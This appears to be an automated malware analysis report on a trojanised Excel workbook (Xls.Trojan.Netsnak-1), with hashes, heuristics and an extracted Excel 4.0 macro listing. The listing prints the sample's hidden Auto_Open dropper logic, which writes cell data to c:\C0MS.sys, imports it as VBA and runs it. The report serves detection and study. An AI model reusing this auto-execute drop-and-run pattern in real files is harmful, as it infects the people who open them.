Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a8765844db606601…

MALICIOUS

Office (OLE)

288.5 KB Created: 2006-09-13 11:21:51 Authoring application: WPS Office ¸öÈ˰æ First seen: 2015-09-30
MD5: a878e7c35162f9c08852f96359fd56c0 SHA-1: d02054c8107b1f2ccbce0e7bbafc596719453ab9 SHA-256: a8765844db6066016f4dd633752f71456c521953946259d439513d0d6e6d68ce
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is identified as malicious by ClamAV and exhibits critical heuristic firings indicating the presence of Excel 4.0 macros with an Auto_Open entry. These macros utilize dangerous functions like RUN, suggesting an intent to execute arbitrary code. The reference to Windows Script Host further supports the likelihood of a secondary payload execution.

Heuristics 5

  • ClamAV: Xls.Trojan.Netsnak-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Netsnak-1
  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 18039 bytes
SHA-256: 44b3c34c865558bb502e532f2e4c6730e59b4cb3f58271a9b9c829ba00590ee2
Preview script
First 1,000 lines of the extracted script
' 0085     22 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -  @kbtasto@she3
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0018     27 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00'
' 0018     29 LABEL : Cell Value, String Constant - Counter len=7 ptgRef3d  @kbtasto@she3!B83 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
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' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
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' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  @kbtasto@she3,A1,"FOPEN("c:\C0MS.sys",3)",""
'  @kbtasto@she3,A2,"FOR.CELL("Counter",R~0C~1,TRUE)",""
'  @kbtasto@she3,A3,A1,""
'  @kbtasto@she3,A4,NEXT(),""
'  @kbtasto@she3,A5,FCLOSE(A1),""
'  @kbtasto@she3,A6,VBA.INSERT.FILE("c:\C0MS.sys"),""
'  @kbtasto@she3,A7,"RUN("addsum",FALSE)",""
'  @kbtasto@she3,A8,RETURN(),""
'  Sheet,G2,"",398.00000000000000000000
'  Sheet,G3,"",250.00000000000000000000
'  Sheet,G4,"",548.00000000000000000000
'  Sheet,G5,"",696.00000000000000000000